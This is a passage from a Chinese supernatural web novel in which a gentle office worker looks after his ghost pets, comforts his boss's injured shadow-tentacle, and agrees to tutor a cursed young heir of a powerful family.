从始至终,那双猩红眸眼都如古井般波澜无痕。 这个男人,强大、桀骜、无情,漠视生死,高不可攀。 如果哪一天,有什么东西令他产生了动摇……开什么玩笑,这怎么可能? 吕向财在宴朔手底下干了这么多年,怎么都想不出那种画面,更为自己会产生这种荒谬的想法而感到不可思议,深吸一口气,带上房门。 却没看到,就在房门关上的那一刻,波澜不惊的男人突然脸色微变,拧眉盯向自己的大腿。 …… 【吕向财】抱歉抱歉,刚才突然遇到一些急事,没能及时回复消息。(双手合十.jpg)(跪求原谅.jpg) 【吕向财】还是那句话,公司的内情在你的认知以外,获得此类知识是需要付出代价的。不过既然你已经觉醒,或许能通过晋升为管理层来提高自己的精神力。等升上一定的高度,你的耐受力会变强很多,有些东西自然而然也就知道了。 【吕向财】……其实我刚得知一个消息,如果你打算离开公司,最好趁现在,毫不夸张地说,错过这次机会就是万劫不复。 【吕向财】说到底,你只是个无意掺和进来的普通人,没必要为一群注定要死的人犯险。 十分钟后。 【吕向财】人呢?? * 人当然还在。 刚才谢叙白乍然听到公司全体近三千人将会被屠戮殆尽的消息,大脑一空。 理智告诉他别多管闲事,手指却鬼使神差地点开群聊,依次翻看完所有员工的名字。 翻看完后,他又垂睫看向自家猫狗,在沉默中思索良久,权衡着许多东西。 或许十几分钟,或许只有一分钟。 谢叙白手指敲击屏幕键盘,问出那句:如果我想知道公司的内情,你愿意告诉我多少? 对面没有立刻回复,不知道是突然被什么事绊住了脚,还是在斟酌该怎么回复他。 谢叙白等了一会儿,还是没有消息,决定先带平安去洗个澡。 狗子死前身体被硫酸重度腐蚀,化诡后直接塑形,如果不想点办法,永远都会保持惨死时狰狞的容貌。 但古书中都是奴役诡怪的邪术,没记载该怎么修复它们的诡体。 谢叙白看着完好无损的平安,知道是狗子为了不让他揪心,才没有露出本貌。 他凭着记忆,避开那些血肉模糊的位置,轻轻触碰伤口的边缘,情不自禁地问:“会痛吗?” 平安毫不犹豫地摇头。 谢叙白揉一揉它的脑袋,寻思等会吕向财回消息后再找人问一问,转身调好水温,用柔软的毛巾沾上温热水,仔细给狗子擦拭身上的污垢。 浴室水汽氤氲,暗红色的血痂被洗掉,起浆的泛黄泥水一股股地流进下水道,看着竟有些解压。 直至掌下露出雪白的底色,谢叙白顿住,惊讶地看向狗子:“平安,你居然是条白狗!” 狗子原本偏黄褐色,他还以为是条大黄狗。 平安看着自己湿漉漉的白毛爪子,举起来晃一晃,眼睛睁圆,又吃惊又好奇:“呜?” 阴魂怨魂们被动静吸引进来,成为诡怪后它们看得见色彩,跟着一阵惊呼。 王被人类洗掉色了!人类好厉害! 空气中充斥着快活热闹的气息,一大家子彻底放松了身心。 以至于他们走出浴室,看见卷起手机残骸不断收缩的半截漆黑触手时,没有一个反应过来。 猫猫狗狗看着蠕动的触手,先愣住,后瞪眼,再炸毛,发出尖锐的咆哮:“吼!!” 下一秒,触手以肉眼难寻的速度飞蹿过来,缠上谢叙白的脚踝。 谢叙白一惊,反射性扒扯触手,忽然发现这个冰冷滑腻的触感莫名熟悉,连忙拽住已经张开血盆大口的平安。 “等一下大家别激动!这个,呃,小家伙?我好像认识它!” 话音未落,委屈的呓语从谢叙白的脑海深处响起,稚嫩清脆,最多八岁。 【疼。】 【身体,疼。】 谢叙白一顿,再次朝触手看去。 触手的根部是一团漆黑的影子,像个无底的黑洞,可腾空,可贴地,横截面只有成人拳头那么大,导致更粗的部位被卡住,能伸展出来的长度有限。 它又只剩下半截,想要缠住谢叙白的脚踝非常艰难。 就是可怜巴巴呼痛的这一会儿功夫,滑溜溜的身体往下滑了好几厘米,差点掉在地上,连忙呼哧呼哧地又往上缠。 谢叙白见它没有攻击自己的倾向,伸手试图将它抱起来。 或许是触手受了重伤,蔫儿吧唧没力气,意外的轻松。 他接着检查破碎的伤口,看起来不是一般的严重,边缘还在不断往外渗出黑血,忍不住皱了皱眉头:“我记得你,你是吕向财的影子,这道伤口是怎么回事?” 【坏蛋欺负我,打我,疼。】 【好疼的。】 它越说越委屈,疼得声音带颤。 谢叙白看着那惨烈的伤情,不疑有他:“我要怎么帮你治疗?” 【摸摸我。你的气息很干净,摸了我,我会很舒服。】 谢叙白迟疑地摸了摸它。 触手当即慢悠悠地摇来摇去,似乎真的很舒服。 而在另一边,和触手共感的宴朔,注意力早已不在企划书上,视线正对着自己的大腿,表情愈发怪异,眉头越皱越紧。 谢叙白有意找吕向财了解情况,结果一回头,看见桌上七零八落的手机碎片,还有挂在上面像口水一样会拉丝的透明黏液,当场沉默。 注意到这一点的半截触手:【我通过它找到你,不小心弄坏了,我赔给你,等我一下哦。】 它折身钻进底下的阴影中。 另一边,宴朔听到一阵窸窸窣窣的声响,扯眉看过去。 只见半截还在滴黑血的触手卷起床单,“呼啦”一下往上抛,雪白厚实的床单直接飞天。 室内灯光直照而下,金灿灿的光芒瞬间绽放,将整个卧室映照得蓬荜生辉——这床单底下,竟然是用数不清的金砖整齐铺造的床垫! 触手用力一卷——没卷动,干脆随便捞起一块金砖,又飞快地钻回阴影里。 卧室陷入死一般的沉寂。 浅淡的呼吸一起一伏。 半分钟后,被从头忽略到尾的宴朔,缓缓地、慢慢地将盖在自己脑袋上的床单扯了下来。 他抬眸,看一眼被弄得乱七八糟的黄金床。 又低头,看一眼沾满黑血的白床单。 啪的一声脆响。 宴朔面无表情地捏碎了企划书的文件夹。《 》 22、第二十二章 嘭! 婴儿小臂粗细的金砖砸在桌上发出一声沉重的闷响,正在擦拭桌面的谢叙白抬头看去,顿时瞳孔地震。 不小心脱力让金砖掉下来的小触手抖了抖身体,像是在喘气,然后费劲儿地拖着东西蛄蛹过来,将它高举到谢叙白的面前。 【给你哦!】 它没有可以卷起东西的上半身,只能用残缺的截面作支撑,因此半截身体颤颤巍巍,几乎要抖成个筛子。 谢叙白连忙顺手接下,入手时更能真切地感受到那沉甸甸的重量。 想到以前只在扫黑除恶的法制栏目里看到过这么大块的金子,他心里的不真实感立马更重了。 “乖,这是你从哪儿拿来的呀?”小触手看起来智商不高、心思单纯,谢叙白用哄小孩的语气柔声问。 【从床上拿来的,还有好多,不够的话我再去给你拿呀。】 还有好多? 看小触手扭来扭去、殷勤献宝的样子,谢叙白有点哭笑不得,同时心想,真不愧吕“向财”之名。 他没有深究这块金砖背后的来源,用干净的纸张包裹好,放进公文包。下一秒小触手便凑了上来,碰碰他的手腕。 【可以继续摸摸我吗?真的很舒服。】 似乎觉得语气不够诚恳,它可怜巴巴地补充一句。 【求您了,先生。】 真的很容易幻视那种又礼貌又黏人的乖巧小孩。 看小触手抖抖身体,似乎还在忍痛的样子,谢叙白忍不住心软,他道:“可是我准备睡觉了,这个点再不睡的话,明天会犯困。” 小触手理解成这是拒绝的意思,当场自闭地蜷成一团,没多久听见谢叙白在呼唤它:“所以一会儿要乖乖的,不能闹我哟。” 小触手惊喜地“看”过去。 只见谢叙白穿着睡衣上了床,身体侧躺着,伸手拍了拍枕边空余的地方,温和笑着说:“来。” 虽然已经过去了很多年,但他依稀还记得妈妈给他拍背哄睡的场景。 刹那间小触手兴奋得断肢狂摆,毫不犹豫地冲过去,缩在谢叙白的掌下。 谢叙白探出脑袋,对床下的狗子道:“平安就睡在我的另一边,可以吗?” 狗子不说话,一个劲儿地盯着青年。 如果仔细观察的话,就会发现,从触手现身时起,狗子就绷紧了浑身肌肉,露出尖锐獠牙,一直处于如临大敌的状态。 谢叙白和狗子视线相接,仿佛能读出对方眼里浓郁的疑问,平静地摇了摇头:“宝贝没事,我知道的。” 或许是心系被“挟持”的他,小家伙们在看到触手现身的那一刻想也没想地露出凶恶诡相,怒吼以示驱逐。 但这会儿冷静下来的阴魂怨魂,全都挤在外面的客厅,没有一只敢靠近小触手十米内。 谢叙白从玩家那里知道,常态的平安有a级诡王的实力,只是一个名头就能让大部分玩家闻之色变。 那么连a级诡王都要忌惮的小触手,又会强大到何种地步?如果发起狂来,又能造成什么程度的破坏? 小触手在谢叙白的掌下欢快蠕动,似乎不敢相信自己这么容易就达成所愿,激动得停不下来。 谢叙白拍拍它,让它收敛一下,对平安弯眸说道:“好啦乖平安,今天折腾了这么久,你应该也很累了,让我们早点休息吧,好么?” 大概十几秒后,平安终于妥协。 它跳上床,没有依言转到谢叙白的另一边,而是在触手靠下的位置趴了下来,方便随时监视这个神秘莫测的闯入者。 谢叙白揉揉它的脑袋,顺着紧绷的背部肌肉一路抚摸下去,如此来回,逐渐给暴躁的狗子顺好了毛。 他再弯身亲一下狗子的额头,温言细语地笑道:“好梦,好眠。” 狗子看一看他,最终还是收起獠牙,哼哼唧唧地闭眼。 一旁的小触手似乎能理解这是个非常亲密的动作,十万分想要青年也这么亲一下它。但为数不多的理智告诉小触手,不能那么急,要慢慢来。 被它喜欢的人类,值得它付出所有的耐心来对待。 小触手这样想着,也这么做到了。 青年需要休息,它便努力平复激动亢奋的情绪,前半夜几乎没怎么动弹,安安静静地缩在青年的掌下当一颗沉默的小石头。 直到后半夜,万籁俱寂,它终于忍不住小声地哼了两下。 【疼……疼……】 也是这个时候,劲瘦修长的手指伸了过来,温柔地揉一揉它残缺的身体。 青年单臂撑头,闭着眼,缓缓哼唱着记忆中的摇篮曲。曲调轻柔,嗓音细腻温雅,即使在漆黑的深夜响起,也没有一点突兀。 小触手难得安静几秒钟,随后不知道是什么样的情绪驱使着它,它呼痛的声音变得响亮了三分,也真实了三分。 【疼!真的好疼!我好生气,要不是打不过他……】 它叽叽喳喳地抱怨个不停。 谢叙白一刻不停地哼着歌,充当一个合格的听众。指尖顺着小触手颤抖的幅度拍打安抚,接收它所有的不忿和痛苦。 而另一边,宴朔欲要召回躯壳的手停在半空中。 又几分钟后,他面无表情地将脑袋往右侧偏了三十度,做出倾听的姿态,以手支颚。 落地窗外,夜色浓稠如墨,黑暗中不知潜伏着多少异化的怪物。 宴朔时时刻刻都能“听”到那些怪物的嘶吼,或疯癫,或狂躁,没个消停。 但今天不太一样,多了点别的声音。 温柔的、让人安宁的。 随着时间的流逝,宴朔呼吸渐缓,一双冰冷无澜的眼睛终于流露出细微的波动。 第二天一早,等到银行商店开门的时间,谢叙白就拿着卡去取了钱,再转到店里买了部新手机。 看着通讯软件上显示账号登录成功的提示消息,他不由得松上一口气。 现在的平台账号基本上都和手机号绑定在一起,某种程度上来说sim卡比手机更重要。幸好手机被挤碎的时候sim卡刚好被夹在电路板的残片之间,没被黏液洗礼,还能正常使用,不然真够呛的。 小触手浑然不知自己差点给喜欢的人类惹下多么大的麻烦,缠在谢叙白的手腕上一阵傻乐。 经过这一晚的相处,它发现自己更喜欢青年了。 而且不知道是不是昨晚休息得很好的原因,今早起来的时候,它破碎的肢体截面居然冒出来一茬柔嫩的鼓包,想必要不了多久就能长出新的触手尖尖。 好心情一直持续到看见公司大厦前的吕向财。 小触手恨屋及乌,当场“炸皮”,拽着谢叙白的手腕就想往回走。 但谢叙白定睛一看,忽然发现事情有点不对劲,反手拉住小触手:“乖,好像出了什么事,先别乱动。” 吕向财不是独自一个人站在公司大门口,在他的身边,陆陆续续走出许多垂头丧气的职员。 那些人手里或提着塑料袋,或抱着办公纸箱,与僵立不动的吕向财擦肩而过。 偶尔有人瞄见神色冷淡的吕向财,义愤填膺地骂一句:“那小子到底有什么本事?凭什么辞退我们不辞退他呀!” “看给他得意的,还故意守在这儿看我们离开,真tm气人!” “有什么可嚣张的,那么多人说辞就辞,早晚有一天他也得滚蛋。” 吕向财一声不吭。 看着底层职员们大步向前,跨过门廊下的阴影,轻轻松松地走入车水马龙、宽阔明亮的街道,嘴里还囔囔个没完。 他抿紧嘴唇,眼神愈发阴鸷,隐约现出猩红之色:“你们真的想留下来?” “好啊。”吕向财笑道,“乐意帮忙。” 还没完全离开的员工突然脚步一僵,双目呆滞,鲜活的脸上逐渐泛起浓郁腐朽的死气。 正当这时,旁边传来的动静令吕向财侧目。 当看见朝自己走来的谢叙白时,他眼里的暴戾一散,几乎控制不住脸上的惊讶。 “昨晚你一直没回消息,我还以为你不会来了!” 说话间那几名员工茫然且心有余悸地摸了摸自己的心脏,落荒而逃。 谢叙白收回目光,一言难尽地叹了口气。 他将公文包里的金砖、连带着闹别扭的小触手一起拎出来还给对方:“我的手机坏了,今早九点才等到银行商店开门再买部新的。刚才路上也有给你发消息解释,但我猜你可能没看到。” 吕向财看着不断扭动的小触手,瞳孔骤缩,将它抓过来,音量直线拔高:“你怎么跑他那去了?!你知不知道他可能会被……!” 触及谢叙白疑惑的眼神,吕向财连忙收声,只能揉着胀痛的太阳穴安慰自己:既然对方还能好端端地站在这里,应该没有引起那位的注意。 他摆了摆手:“没事,当我在胡言乱语。不过你真的打算在这里继续工作?我告诉过你的,非常危险。” 吕向财的语气有点冷,还有点丧。 谢叙白察觉到他的失落,笑了笑:“如今的世界大不相同,对我来说,去哪儿工作不危险?而且我要是现在辞职了,这些小家伙岂不是要跟着我喝西北风?” 阴魂们从谢叙白的袖子里钻出来,眨巴眨巴大眼睛。 吕向财看过去,发现谢叙白居然还胆大地养起了诡怪,嘴角抽了抽:“作为一个普通人,你的适应能力还真是令人叹为观止……等一下?” 他察觉到阴魂身上无形的诡王烙印。 这些诡怪竟然是有主的? 在吕向财的视野里,烙印的边缘溢出丝丝缕缕的红色血气,如同牵扯着风筝的线一样蔓延出去,直至没入不远处的灌木丛。 灌木丛中,一只冰冷的猩红独瞳正悄然注视着眼前的大厦,充斥着莫大的忌惮和警惕。又在看向谢叙白时,下意识露出柔情。 刹那间,吕向财的脑海犹如掀起惊涛骇浪、炸出轰天震响。 震惊、不敢置信、狂喜等诸多汹涌的情绪几乎将他淹没。 反应过来的时候,他已经拽住了谢叙白的手,呼吸急促,气喘不匀,双眼死死地盯住对方:“你怎么做到的?告诉我你是怎么做到的?!” “——你为什么能将一个诡王带出它的循环?!”《 》 23、第二十三章 他下意识用上威压,在小触手和平安等诡怪的眼里和威胁没什么两样,后者当下就怒了。 小触手伸出还没彻底长出来的半截鼓包,诸多阴魂化作森冷阴郁的雾气。 它们同时钳制住吕向财的胳膊,向他发出威胁的咆哮。 ——放手! 诡怪由怨恨不甘等诸多负面情绪而生,从来都不是什么善类。 它们残暴、极端、暴躁易怒、占有欲和领地意识极强。越是强大的诡怪越不能容忍被忤逆,特别是在情绪上头的时候。 吕向财双眼一红,皮肤接二连三浮现出青紫色的尸斑,反手朝阴魂们打过去:“给我滚开!” “吕向财!”谢叙白忽然怒喝道,“想离开这里就给我停手!” “离开”两字犹如缰绳套下,狠狠勒住吕向财的身体! 他的手僵在半空,震惊地看着谢叙白:“你怎么知道……” ——你怎么知道我死也想要离开这里? 谢叙白趁机把阴魂们和小触手全都捞过来,严严实实地护在自己的身后。 看着神情恍惚的男人,他冷静发问:“平安,就是我家狗子,之前一直被困在某个地方出不去,是不是就是你所说的循环?你也被困在盛天集团没法离开?” 没有任何拖泥带水,谢叙白快速且条理不紊地讲述起昨天发生的经历。 只是在听到诸如“副本”和“玩家”的字样时,聚精会神的吕向财会下意识露出一抹茫然的神色。 谢叙白眉宇微蹙,正思考用什么隐喻来避开那股干扰吕向财认知的力量。 后者却深吸一口气,沉声道:“不用说了,那些应该不是我能认知的知识。” 以往他都用这话来告诫谢叙白好奇心不能太重,没想到现在风水轮流转,用在了自己身上。 可说出这话不代表吕向财选择释然。 只见他的嘴角疯狂上扬,双目猩红,死死地盯住青年。 专注、偏执、狂喜。 一张脸像打翻了颜料瓶一样五彩斑斓,诸多情绪压都压不住,比刚才更加魔怔! 吕向财心想,他的【级别】远高于谢叙白,后者却能认知到连他都无法触及的禁忌知识,这说明什么?说明谢叙白就是一个可以打破常规的变数! 既然这样的话,那他—— “吼!” 在他们的身后,狗子平安从灌木丛中飞跃而出,獠牙外露,吼声带颤。 不是害怕,而是忽然察觉到吕向财对谢叙白的觊觎,已然濒临暴怒发狂的边缘。 诚然,狗子能感觉到盛天集团大厦里有一位极为强大的存在,随手就能捏死自己。 但要是吕向财敢对谢叙白出手,它就是拼着魂飞魄散,也要咬下对方的一块肉! 小触手也是一样,现在的它特别、特别不高兴。 漆黑身躯化为狰狞扭曲的阴影,眨眼扩散到整个门廊和广场花坛,森寒可怖的气息径直爆发! 盛天集团门口闹出的“动静”实在太大了,直接影响到这附近的所有“人”。 5到15层的组长抱着脑袋瑟瑟发抖,16层到22层的主任主管手一哆嗦,名贵酒水撒了一地。 23层到27层的高级经理马不停蹄地远离落地窗前,27到30层的总监打消看热闹的心,闭上眼睛原地装死。 还有31层的董事会,正吵得面红耳赤,有几个刚撸起袖子准备肉搏。 结果底下剑拔弩张的气息一传开,圆桌前的人全部僵住,沸沸扬扬的争吵声瞬间压低了三分。 就连位于最顶层的那位,也漫不经心地朝下面睨来一眼。 注意到那“视线”时,宛如一盆冰水兜头淋下,吕向财满脑子走火入魔的想法瞬间惊散。 他汗流浃背地挡在谢叙白的身前,释放大量气息遮住宴朔的“视线”,干笑道:“没事宴总!我们在讨论工作交接的问题,有几个职员的手脚不干净,实在让人气愤,哈哈哈……” 作为当事人的谢叙白,没有诡怪的感知力,但他会观察。 顺着吕向财脑袋仰起的幅度,他看向大厦的最高处。 盛天集团的各个楼层似乎有意做高,其他大楼的单一楼层,每层只有3米左右,它却可以高到4米乃至于5米。 因此整栋大厦看起来遮天蔽日,高不可攀。 谢叙白凝视着大厦顶层,一股强烈的、被注视着的感觉油然而生。 念白响起,证实他的怀疑。 【祂在看我。】 吕向财的说辞,宴朔不知道是信了还是没信。 几百个呼吸后,令人毛骨悚然的视线终于撤去。 吕向财浑身汗湿得像是从湖里捞出来的一样,胆战心惊地看向谢叙白。后怕与执念交织难分,一时间不知道该说些什么。 直至一道突如其来的轿车喇叭声,打破了两人之间尴尬且沉寂的氛围。 “嘀——” 两人同时看过去,不远处的街道上赫然停着一辆加长版劳斯莱斯幻影,引得路人频频回头,目露惊羡。 先下来的是司机,穿着工工整整的黑色西装,开完车后衣襟袖口也没有一丝褶皱。 他三步并作两步来到车后,按着电动车钥匙正要开门,却没想到车门先被人从内推开,一个看起来只有初中生岁数的少年捧着个精装檀木礼盒抬步下车。 司机欲要接手,啪的一下,少年很不客气地将他的手抽开,并冷冷地瞪过去。 “谁允许你靠近我的?” 司机沉默照做。 少年扯了扯嘴角,扭过头再也没看司机一眼。 他的长相极其精致,穿着量身定制的西装和小皮靴,腰背笔挺步履优雅,如雪皮肤在阳光的照射下白到反光,像从童话书中走出来的小王子。 本来这容貌姿态是很吸睛的,但看到少年趾高气扬的作态,周围人欣赏艳羡的表情一变,纷纷露出不赞同和谴责的目光。 “哪家的小少爷啊?一点礼貌都没有。” “谁知道呢,富家子弟不都这样?” “就这个脾性,有钱又怎么样,注定是个进去踩缝纫机的主,新闻上不是常有的事吗。” …… 更多的人则围在那辆劳斯莱斯旁边,不停地拿手机拍照。 更有大胆的人直接近身,高举手机,对着摄像头龇牙咧嘴地摆造型,看起来准备搞自拍发朋友圈。 少年尽收眼底,脸上嘲讽的意味更加浓郁,捧着盒子走进公司大门。 期间他与谢叙白等人擦肩而过,但全程目不斜视,神色冷淡,没有抬头看其中任何人一眼,目中无人到了极点。 “江少爷?他突然来这干什么。” 谢叙白听到吕向财不解的喃喃声,顺势看过去。 可吕向财的目光根本不在少年身上,笑眯眯地看着他,似乎正等着他被这句呢喃钓上钩。 见谢叙白一脸冷淡没吭声,吕向财又兴致勃勃地凑上来问:“你刚才看起来很疑惑,是不是发现了什么?” 他说话时放低姿态,语气讨好,只以谢叙白为重心。 是个人都能看出,吕向财在努力寻找和青年重归于好的话题。 大概在对方低声下气地连问七八句之后,谢叙白轻轻地叹了一口气,说道:“那个孩子走路和摆臂的姿势都不太对,是不是有什么东西牵制着他?” 吕向财惊讶于谢叙白敏锐的观察力,毕竟刚才那么多路人都没有看出什么问题。 “提线木偶知道吧?”他道。 “不同的是木偶不知道疼痛,而人如果被钢丝捆住关节和手脚筋——” 吕向财食指点在手腕上,轻轻一划,做出个切割筋肉的动作,笑着说出令人细思极恐的话。 “江少爷应该是忤逆江家主意愿自己跑出来的,一直被线勒着,那场景对普通人来说有点血腥,还好你看不见。” 谢叙白呼吸一滞,猛然抬头看向公司内部。 只是少年早已步入电梯,不见踪影。 吕向财见状很是吃味:“你看看!只要我说得稍微可怜一点,你就又想冲过去救人了。怎么不想着来救救我啊?明明我俩先认识的!” 谢叙白回神,面向咋咋呼呼的吕向财,冷不丁说道:“我想过。” 吕向财长吁短叹的浮夸表情霎时一僵:“嗯?” “就在你刚才拼了命拽着我不放的时候。”谢叙白没有说笑,一五一十陈述当时的想法,“我就在想,我的朋友到底经历了什么,我该怎么解救他?” 这个想法现在也没消失,以至于他眉头紧皱,令人对他的苦恼深信不疑。 吕向财:“……” 他看着谢叙白,一时有些说不出话。 青年的眸眼澄澈干净,像一面镜子,清晰地倒映着他因为过于意外而显得格外滑稽丑陋的面容。 半晌,他终于找回自己的声音。激动、不堪,两种情绪交汇在一起,令他的语气有点扭曲:“……你真愿意救我?你想要什么?” 金银珠宝,名誉地位。只要谢叙白能够把他带出这个该死的鬼地方,无论什么,哪怕是他的命,他也可以—— “我要你和它们道歉,虽然你刚才不太清醒,但确实对它们动了杀心。”谢叙白拍拍自己的肩膀,阴魂们陆续冒头,连小触手都幸灾乐祸地跑出来凑了个热闹。 “啥?”吕向财以为谢叙白在开玩笑。 谢叙白道:“我帮自己的朋友,不需要任何理由,但我的朋友应该不会对我的家人出手,不是吗?” 在青年温和的眼神中,吕向财看不出一点戏弄他的意味。 他像踩在飘渺的云雾里,一边觉得不真实,一边又忍不住生出期许。 如同从壳里探出脑袋的乌龟,他试探性地、充满怀疑地、小心翼翼地对阴魂们说了一句:“对不起?” 刚才那番话,阴魂们也听进去了。 它们不想理会对谢叙白产生阴暗思想的吕向财,但谢叙白说,他把吕向财当朋友。 如此纠结之下,小家伙们闷着脑袋咕噜一声,勉强算是原谅了他。 谢叙白笑着揉了揉小家伙们,柔声哄道:“好啦,我得去工作了,我的朋友会保护我的,你们和平安先回去吧,路上要注意安全,乖乖等我回家哦。” 他早就注意到,离公司大厦越近,平安就越紧张,根根毛发炸起,龇牙咧嘴,几乎到了草木皆兵的地步。 让小家伙们继续留在这里,对它们是场折磨。 留意到谢叙白的眼神,还在恍惚的吕向财当即反应过来,嘴角一抽。 他就说对方刚才又是朋友又是家人说得那么煽情,原来是为了哄小孩子乖乖回家。 但他必定不能拆谢叙白的台,要不刚到手的“朋友”岂不是直接跑了? 吕向财轻咳一声,煞有其事地说:“没错,我会保护他的,你们就放心吧。” 十万分不想走的阴魂们一听这话,表情更阴森了,最不放心的就是这狐狸脸假笑男。 这时狗子平安低吼一声,将小家伙们都唤了过去。 成为诡王之后,有些东西无师自通。 譬如平安知道诡王气场互斥,领地意识极强,贸然进入对方的地盘一定会爆发冲突,大打出手。 它虽不畏战,但不愿给它的人类添麻烦。 不过狗子也没走,回到能掩藏身形的灌木丛就地一趴,像名忠贞不渝的守卫者,静静地凝视着谢叙白。 这就是狗子的态度:不管你要去哪儿,上刀山还是下火海,我都会跟在你的身后。当你遇到危险,我一定会及时出现。 谢叙白自然能感受到狗子的决意,冲它弯眸一笑,没有继续劝阻。 转身进入大厦的一瞬间,他目光凛然,开门见山地问:“我要怎么才能变强?” 异化后的世界太过危险,哪怕是a级诡王也不能真正意义上地独霸一方。 看到狗子和阴魂们面对小触手和宴朔时的如履薄冰,谢叙白没有哪一刻比现在更深刻地意识到,他必须要变强。 只有变得强大,才能救下想救的人。只有变得强大,才能庇护所爱的怪物,让它们免受惊慌。 吕向财也在琢磨这个问题。 现在的谢叙白不亚于他唯一的救命稻草,他比任何人都希望青年能够快点变强,然后进入盛天集团的循环,找到解救自己的办法。 要安全,要稳当,不能出现一点闪失,同时也得保证晋升的效率。 吕向财想法落定:“晋升公司的高层管理,一般有三条路。一能力匹配,二走业绩,三宴总钦点。” 谢叙白:“我走第二条?” “不,你同时走第一条和第二条。” 两人默契十足地忽略了第三条路。 吕向财向谢叙白解释道:“没有匹配的能力,就算业绩资源摆在眼前,你也不一定能抓得住。所以,你需要先参加一些‘额外培训’。” 谢叙白认真听着,没有异议:“比如说?” 吕向财咧嘴一笑,手往上指:“比如说,这片地域近八成的禁忌力量都被名门贵胄所掌控,而这名门之中首屈一指的便是江家。” “而你,则要成为江家唯一嫡系继承人的家庭教师!” 谢叙白眉梢微动,顺着吕向财的手指抬头往上看。 他联想到了刚才那位盛气凌人的江少爷。 ——也是吕向财口中,被钢丝勒入四肢百骸、步步切骨的提线木偶。 谢叙白垂睫半秒,一瞬抬眸,眼里的决然令人惊心动魄:“我该怎么做?”《 》 24-30 第24章 这是我教给你的第一课…… 【那个孩子有很严重的洁癖,一身定制西装时刻保持着纤尘不染、干干净净。 他爱打抱不平,梦想是执剑天涯行侠仗义。会冷着脸扶起摔倒的女佣,也会撑伞为摇晃的树苗遮雨。】 【……直到那天晚上,他手里无力地攥着把滴血的刀,脚下躺着具血肉模糊的尸体,满身灰和泥。 他看见我跑来,竟痴痴地笑起来:“老师,放弃我吧。”】 * “江少爷,这边,前面就是总裁办公室。” 接待的助理引着江凯乐来到办公室门前,抬起手却迟迟没有敲下去。 细看会发现他的腿在抖,笑脸底下是难以遏制的恐惧,好像非常害怕直面宴朔本人。 江凯乐瞥他一眼,越过他在门上敲了几下,不耐地说:“行了你走吧,这里不需要你。” 助理如蒙大赦,头也不回地跑走了。 留下江凯乐站在空无一人的走廊上,冷淡地看着办公室大门。 一秒、两秒、三秒…… 大门纹丝不动,衬托得走廊愈发死寂,连胸腔里的心跳声都能听得一清二楚。 江凯乐盯着门上繁复古老的图纹,视线忽然变得有些模糊。 他仿佛能看见一阵水纹从门上荡开,深海的巨兽栖息其中,滑腻冰冷的触手在黑暗中缓慢蠕动,瞳孔猩红,凶相毕露。 江凯乐心率加快,寒毛直竖,有种想要拔腿逃跑的冲动,忽然一道冷肃低沉的嗓音从门内传来:“门没关,进来吧。” 少年一个激灵,狠狠掐自己一把清醒过来,抱着精装礼盒推开门。 吱呀—— 门开了。 映入眼帘的是一张漆红的檀木桌,桌上摆着的不是陶冶情操的书画或笔架,而是一个地球仪。 若有人先入为主,肯定会认为能够被摆在这种房间里的地球仪,一定是精工雕刻、高端定制。 然而,江凯乐所看到的不过是最普通的地球仪,塑料支架、廉价贴图,批发市场十几块钱一个。 老旧的地球仪表面遍布裂纹,颜色黯淡,贴纸也破了一部分,有的字样已经模糊不清,单纯拿出来当摆件都显得有些埋汰。 但宴朔不仅把它摆在整间办公室最显眼的位置,还拿了个透明防弹玻璃柜来保护它。 江凯乐看向办公室里的人:“三叔……” 高大俊美的男人站在桌前,手上拿着一支沾墨的毛笔,微微倾身,正全神贯注地往红符上书写着什么。 他没有抬头,直到江凯乐开口,才掀起眼皮看过去,弹了下手指。 无形的气刃绕着江凯乐转了一圈,将束缚少年的力量尽数斩断。 一瞬间,江凯乐像断线的风筝往前一栽,失力摔倒在地上。 他瞪大双眼,撕心裂肺的疼痛感也在此时反扑上来,忍不住捂住手腕脚踝蜷成一团,咬紧牙关发出细微的痛叫。 “啊啊……!” 不知道多久后,疼得浑身都是冷汗的江凯乐慢慢缓了过来。 他的脸色惨白,捂着还在抽痛的手腕和脚踝,迷茫地抬头看向宴朔。 半晌,才像是意识到什么,不敢置信地瞪大眼,挥动自己的手臂。 竟然毫无滞涩感! 刹那间,江凯乐眼里的喜色如岩浆般喷薄而出,情不自禁地高喊一声:“谢谢三叔为我解术!” 在江凯乐的认知里,每个江家人自出生起就会被邪术束缚手脚,如果违背族规、忤逆家主,就会体会到割肉切骨的疼痛。 据说这种术缘于血脉,终身无解。然而江凯乐是个不信邪且非常叛逆的主,从小便致力于和这种力量对抗。 虽说每次对抗都是以他被疼晕过去作为结尾,但对疼痛的耐受力确实提高不少。 到如今,切骨的疼痛再也威胁不了他。只是能不疼的话谁想疼啊?又不是受虐狂。 见宴朔居然能解这种邪术,江凯乐简直喜不胜收。 “只是暂时的。”宴朔平淡地说道,“原来负责送东西的人在哪?” 听到前半句话,少年闪闪发光的眼睛瞬间黯淡下去,失望地唔了声,将摔在地上的锦盒捡起。 看到盒子被摔折一角,江凯乐有些忐忑,幸好宴朔似乎不在意这点小事,将锦盒接过去,随手放在桌上。 江凯乐松了一口气,解释道:“人没事,我把他和保镖一起打晕关在厕所里,这才找到机会挟持司机跑出来。” 宴朔对他的做法不予置评:“来找我干什么?” 江凯乐抿了抿唇,缓缓讲述起一些阴私龌龊、骇人听闻的江家秘辛。 如果有普通人站在这里旁听,怕是脸都要被吓惨白。 作为知情者的江凯乐不比普通人强多少,越说越麻木。空洞的眼神和冷淡喑哑的嗓音,仿佛给这些恶性事件更添一笔阴暗的色彩。 最后,他茫然地问:“……我该怎么办?” “父亲,母亲,还有家里的其他人,他们为求名利已经完全魔怔了。有时候我觉得他们根本不是人,是披着人皮的怪物!最关键的是他们还想拉我和豆豆一起跳进那个无底的深渊!” 仿佛压抑太久,少年忍不住高声宣泄,某一瞬间,他的脸上也流露出一分令人胆寒的疯狂。 江凯乐抬头看着宴朔,恳求地询问:“三叔,您是唯一一个从家族里脱离出来的人,您能不能告诉我,我要怎么才能顺利逃脱?” 宴朔放下笔,将写好的红符搭在架子上。等待墨水晾干的这段时间,他不咸不淡地答道:“你和我不一样,身体里流着江家的血,那是永远束缚你的咒。” “一旦你脱离家族太长时间,你所认知的邪术就会重新捆住你的身体,将你拖拽回去。” 这话的意思是,他要和那个腐烂恶臭的家族永远绑在一起? 少年攥紧手指,稚嫩的脸庞因绝望而显得扭曲。 眼看江凯乐即将崩溃之际,宴朔倏然开口:“你今年多大?” 江凯乐一愣,不明所以地回答:“十六。” 